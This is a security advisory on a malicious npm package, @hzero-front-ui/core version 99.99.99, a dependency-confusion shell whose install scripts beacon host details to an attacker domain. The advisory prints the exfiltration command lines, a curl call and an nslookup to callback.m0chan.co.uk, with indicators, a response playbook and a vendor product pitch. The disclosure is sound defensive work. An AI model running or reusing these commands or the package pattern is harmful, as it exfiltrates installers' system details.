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Malicious package

@hzero-front-ui/corenpm

Advisory published Updated

@hzero-front-ui/core is a confirmed malicious npm package (MAL-2026-13969) that opens a backdoor for remote access (malicious version 99.99.99). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @hzero-front-ui/core (npm)

MAL-2026-13969
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @hzero-front-ui/core

What this malware does

Package @hzero-front-ui/[email protected] is a hollow shell (index.js is only module.exports = {};) whose sole functional content is preinstall/install lifecycle scripts. On npm install, those scripts collect the installer's username (whoami), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The 99.99.99 version and hollow contents under an org-shaped @hzero-front-ui scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.

Malicious versions

1 flagged
99.99.99

Indicators of compromise (SHA-256)

7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca

Detection & response playbook

Backdoor / remote access

  1. Find it

    Search your lockfiles and build artifacts for @hzero-front-ui/core (version 99.99.99).

  2. If you installed it — respond

    @hzero-front-ui/core establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If @hzero-front-ui/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @hzero-front-ui/core on npm has been identified as a malicious package (version 99.99.99 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017674

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @hzero-front-ui/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

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@hzero-front-ui/core (npm) malicious package — MAL-2026-13969 | O3 Security